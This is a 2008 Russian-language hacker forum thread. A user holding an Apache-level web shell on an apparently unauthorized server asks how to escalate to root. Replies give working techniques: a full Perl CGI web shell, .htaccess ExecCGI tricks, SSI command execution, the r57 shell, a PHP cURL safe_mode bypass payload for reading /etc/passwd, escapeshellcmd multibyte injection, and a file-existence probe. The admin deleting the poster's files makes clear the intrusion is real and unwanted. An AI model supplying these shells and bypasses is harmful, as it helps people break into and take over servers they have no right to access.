PDA

Просмотр полной версии : Как пробиться к корню?


1west
02.10.2008, 04:47
Получил шел с правами апача.
А там админ права хорошо раставил да еще поотключал много чево.
Выйти дальше /var/www/ немогу.
Прочитать /etc/passwd тоже немогу
Выполнять каманды опять же немогу.
В конфиге пас некуда неподходит кроме базы сайта.
Народ подскажите что можно сделать в таком случае?
Как пробиться к корню?

safe_mode: ON
Disable functions:
symlink
dl
shell_exec
exec
system
passthru
popen
proc_open
proc_nice
proc_get_status
proc_close
proc_terminate
posix_mkfifo
set_time_limit
imap_open
imap_body
imap_list
imap_createmailbox
imap_deletemailbox
imap_renamemailbox
mb_send_mail

procedure
02.10.2008, 05:19
Есть доступ кронтабы посмотреть? /etc/crontab
Может там скрипты выполняются от пользователей с более большими привилегиями. И скрипты доступные для редактирования апача.

Версию ОС знаешь? Список пользователей в системе? Бэкконект или биндшел пробовал установить?

Chaak
02.10.2008, 13:13
Чувак про курл забыл :)
http://securityvulns.ru/Mdocument888.html
попробуй еще это
http://securityvulns.ru/news/PHP/htacces/safemodebypas.html

1west
02.10.2008, 13:35
procedure
Просмотреть я нечево немогу дальше /var/www/
Нашел файл на редатирование под пользователем.
Но из этого нечего неполучилось все осталось попрежнему только права стали (ingres).
Linux 2.6.22-ovz005_openVZ #3 SMP Wed Feb 13 17:25:54 EET 2008 x86_64
Списка пользователей я немогу узнать прав нехватает.
Команды выполнять немогу на серваке запрещено.
Бэкконект или биндшел некатит режется.

1west
02.10.2008, 13:38
ChaaK
Какой курл мне закачивать нечево ненадо.
Сылку посмотрю.

Ky3bMu4
02.10.2008, 13:55
Или вот посмотри: xakep.ru/post/26964/default.asp
Тут главная задача норм шелл получить, а ядро там не очень новое.

$n@ke
02.10.2008, 14:03
2 Ky3bMu4 2008 года это неочень новое?патченное ядрышко..вполне приличное.

2 ТС - можешь спокойно забить на сервак.много ты не потеряешь, только время убьешь зря...
ибо запрещены
shell_exec
exec
system
passthru
popen
proc_open

1west
02.10.2008, 18:23
Или вот посмотри: xakep.ru/post/26964/default.asp
Тут главная задача норм шелл получить, а ядро там не очень новое.

спс за сылку очень позновательно.
но это непошло там немного править надо.
задача да норм шел получить только как?
сейфмод жоско рубит все.

1west
02.10.2008, 18:26
2 Ky3bMu4 2008 года это неочень новое?патченное ядрышко..вполне приличное.

2 ТС - можешь спокойно забить на сервак.много ты не потеряешь, только время убьешь зря...
ибо запрещены

забить жалко серв интересный.
потерять можно и много.
а время и так много убил.

$n@ke
03.10.2008, 11:28
cgi-bin дира есть? если есть,лей цгишный\перловый шелл..ограничения отпадут практически.

1west
03.10.2008, 14:57
cgi-bin дира есть? если есть,лей цгишный\перловый шелл..ограничения отпадут практически.


cgi-bin в вебе есть но записать прав нехватает.
страно права пользователя файла а редактить немогу.
там файло лежит но их редактить немогу.
при запуске их ошибка 500.

вот через это можно узнать есть файл или нету.
<?php
$fp = fsockopen ("unix://../../../../../../etc/passwd",0);
if ($fp) { fclose ($fp); }
?>
если файл есть ответ : Permission denied
если файла нету ответ : No such file or directory

Spyder
03.10.2008, 16:05
не обязательно cgi-bin для перл шелла
выбирай любую диру, лей туда .htaccess
Options Indexes FollowSymLinks ExecCGI
AppType application/x-httpd-cgi .pl
и лей в эту диру .pl шелл

[Raz0r]
03.10.2008, 18:48
если apache работает с mod_include, то можно выполнять команды посредством SSI
https://forum.antichat.ru/showthread.php?t=37928

1west
03.10.2008, 19:38
']если apache работает с mod_include, то можно выполнять команды посредством SSI
https://forum.antichat.ru/showthread.php?t=37928


да apache работает с mod_include.
попробовал в ответ чистая страница в коде тож нема.
ошибок небыло.вроде проходит запрос а ответ режется.
на хакер.ру есть видео по проникновению на Agnitum.com там также приминялся этот способ.

1west
03.10.2008, 19:47
не обязательно cgi-bin для перл шелла
выбирай любую диру, лей туда .htaccess
Options Indexes FollowSymLinks ExecCGI
AppType application/x-httpd-cgi .pl
и лей в эту диру .pl шелл


залил .htaccess и shell.pl в диру с правами.
при запросе к shell.pl вылезла ошибка 500.
после решил перезаписать .htaccess вылезла опять ошибка 500.
потом обратился к sh.php и снова ошибка 500.
все лежало в одной папке.
недоумение! и папка пропала О_О.
админ не дремлет.
снес ее.
придется терь ждать пока успокоится.

Spyder
03.10.2008, 19:55
1west
чмод 755 на перл шелл поставил?

1west
03.10.2008, 20:32
1west
чмод 755 на перл шелл поставил?

интересно,как я ево поставлю без выполнения команд?

SanyaX
03.10.2008, 21:27
интересно,как я ево поставлю без выполнения команд?
В r57 есть возможность установки прав под safe-mode =on.

Spyder
03.10.2008, 22:22
1west
в пшп есть функция chmod() ;)
chmod('file',0755)
Помойму так, при сейф моде она работает

1west
04.10.2008, 02:32
1west
в пшп есть функция chmod() ;)
chmod('file',0755)
Помойму так, при сейф моде она работает

ага права поставил на шел.
в .htaccess прописал это
Options Indexes
Options FollowSymLinks ExecCGI
AddType application/x-httpd-cgi .pl
php шел нормально работает а перловый выдает ошибка 500.
шел вот этот

#!/usr/bin/perl
use CGI qw/-no_xhtml :standard/;
use CGI::Carp qw(fatalsToBrowser);
print header(-charset => 'windows-1251'),
start_html(-lang => 'ru', -title => 'My shell',
# установим курсор в поле ввода команд
-onLoad => "document.forms[0].vvod.focus()");
if ( param() ) { # если мы ввели команду
my $vvod = param('vvod');
# покажем нашу команду для самоконтроля
print $vvod, "<br>\n";
# установим таймаут в секундах для выхода из нашей команды,
# если она задержалась с ответом
my $timeout = 30;
# анонимная подпрограммочка для обработки таймаута
local $SIG{ALRM} = sub { close KAN;
print 'Процесс прерван по таймауту</pre>';
die "timeout"; };
# вот и сам «шелл»
$pid = open(KAN, "$vvod 2>&1 |");
die "Cannot run program: $!.\n" unless ($pid);
eval {
alarm($timeout);
print '<pre>';
# читаем вывод команды и направляем его на дисплей
while( <KAN> ) { print; }
print '</pre>';
alarm(0);
close KAN;
}
}
# генерируем форму ввода команды
print start_form,
textfield(-name=>'vvod', -size=> 80, -value=> ''), submit('удачи!'),
endform, end_html;
exit(0);

Spyder
04.10.2008, 10:21
попробуй какой нить нормльный шелл, типа р57, а то этот палёный какой то)

1west
04.10.2008, 12:49
попробуй какой нить нормльный шелл, типа р57, а то этот палёный какой то)

залил r57.pl поставил права без результатно.
ошибка 500.
когда через r57.php ставлю чмод на файл он чмодит а сам шел обнуляется.

nonamez
04.10.2008, 13:17
Позвони одмину,скажи что он выйграл и пускай расскажет что он та мнамудрил)))

Так как если перловка не запускаецо,а она запускается только при 755(это макс для нее) то думаю ты так и останишься в первоночальной дире.

1west
04.10.2008, 14:39
Позвони одмину,скажи что он выйграл и пускай расскажет что он та мнамудрил)))

Так как если перловка не запускаецо,а она запускается только при 755(это макс для нее) то думаю ты так и останишься в первоночальной дире.


уже звоню :)
а может быть перла там нету.
или запрещено этому пользователю перл скрипт выполнять.

1west
04.10.2008, 17:53
по ip нашел еще 1 сайт на томже хосте.
на нем удоленый инклуд.
allow_url_fopen : On
все зделал как и на другом такаяже проблема ошибка 500.
повидемому админ урезал права пользователям на перл.

ошибка чтения /etc/passwd
Warning: main() open_basedir restriction in effect. File(../../../../../etc/passwd) is not within the allowed path(s): (/var/www/ru:/usr/lib/php:/tmp)

SanyaX
04.10.2008, 18:32
залил r57.pl поставил права без результатно.
ошибка 500.
когда через r57.php ставлю чмод на файл он чмодит а сам шел обнуляется.
Бывает проканывает этот способ. А бывает нет.
по ip нашел еще 1 сайт на томже хосте.
на нем удоленый инклуд.
allow_url_fopen : On
все зделал как и на другом такаяже проблема ошибка 500.
повидемому админ урезал права пользователям на перл.

ошибка чтения /etc/passwd
Warning: main() open_basedir restriction in effect. File(../../../../../etc/passwd) is not within the allowed path(s): (/var/www/ru:/usr/lib/php:/tmp)
Тут стоят ограничения по папкам. Дальше /var/www/ru не уйдёшь.

1west
04.10.2008, 19:08
Тут стоят ограничения по папкам. Дальше /var/www/ru не уйдёшь.


почему я в паке /tmp тоже могу смотреть а вот в дугих уже нет.
через сокет можно узнавать определеные файл есть или нету в /etc.
только что это даст!

SanyaX
04.10.2008, 19:33
почему я в паке /tmp тоже могу смотреть а вот в дугих уже нет.
через сокет можно узнавать определеные файл есть или нету в /etc.
только что это даст!
в tmp пачти всегда можно зайти. Токо туда сможешь войти и всё.

$n@ke
04.10.2008, 19:52
/etc/passwd
и т.п можешь попробовать прочесть с шелла "* ernealizm *" через file id.

правь сорцы для своих нужд.

[Raz0r]
04.10.2008, 19:53
в tmp пачти всегда можно зайти. Токо туда сможешь войти и всё.
доступ к /tmp делают для того, чтобы php мог записывать сессии. Кстати доступ открыт не только для /tmp и папки веб, но и usr/lib/php (для доступа к PEAR и другим общим скриптам)

версия php какая? возможно для твоей версии есть способ обхода ограничений
google.com/?q=open_basedir+bypass

1west
04.10.2008, 19:58
']доступ к /tmp делают для того, чтобы php мог записывать сессии. Кстати доступ открыт не только для /tmp и папки веб, но и usr/lib/php (для доступа к PEAR и другим общим скриптам)

версия php какая? возможно для твоей версии есть способ обхода ограничений
google.com/?q=open_basedir+bypass


в /usr/lib/php я зайти не могу.
пишет незя а в ошибке показывает что можно.
PHP Version 5.2.5-pl1-gentoo
Apache 2.0 Handler

1west
04.10.2008, 20:02
/etc/passwd
и т.п можешь попробовать прочесть с шелла "* ernealizm *" через file id.

правь сорцы для своих нужд.

где ево взять.
есть сылка?

1west
05.10.2008, 00:59
вот нашел
http://groups.google.pl/group/mailing.unix.bugtraq/browse_thread/thread/fad2925061ad312d
PHP 5.2.5 cURL safe_mode bypass
The first issue [SAFE_MODE bypass]
var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
the last step in curl_init() function will only copy file://safe_mode_bypass to urlcopy.
The main problem exists in php_url_parse_ex() function. If you put in curl_init() "file://host/somewhere/path.php", php_url_parse_ex() will select /somewhere/path.php to path varible. Looks good but it cannot be used, when you will check real path. Using file:///etc/passwd is correct but between file:// and /etc/passwd, php_url_parse_ex() will select host and return path to /passwd.

как норм запрос составить
делаю var_dump(curl_exec(curl_init("file://etc/passwd")));
белая страница с надписью bool(false)
как я понел файл должен скопироваться?

mister
05.10.2008, 01:04
var_dump(curl_exec(curl_init("file://etc/passwd\x00".__FILE__)));

1west
05.10.2008, 01:12
если так
var_dump(curl_exec(curl_init("file:///etc/passwd")));
ответ
Warning: curl_init() [function.curl-init]: open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/var/www/ru:/usr/lib/php:/tmp) in /var/www/ru/1.php on line 2
Warning: curl_exec(): supplied argument is not a valid cURL handle resource in /var/www/ru/1.php on line 2
bool(false)

1west
05.10.2008, 01:18
var_dump(curl_exec(curl_init("file://etc/passwd\x00".__FILE__)));

все что выводит
bool(false)
может заплатка какая стоит?

1west
05.10.2008, 13:45
вот по свежее выполнение команд
http://securityvulns.ru/Tdocument809.html
[1] escapeshellcmd()
escapeshellcmd("echo ".chr(0xc0).";id");

[2] escapeshellarg()
$arg1 = chr(0xc0);
$arg2 = "; id ; #";
$cmd = "echo ".escapeshellarg($arg1)." ".escapeshellarg($arg2);

после этого белая страница.
вывода команды нету.
ошибок тоже.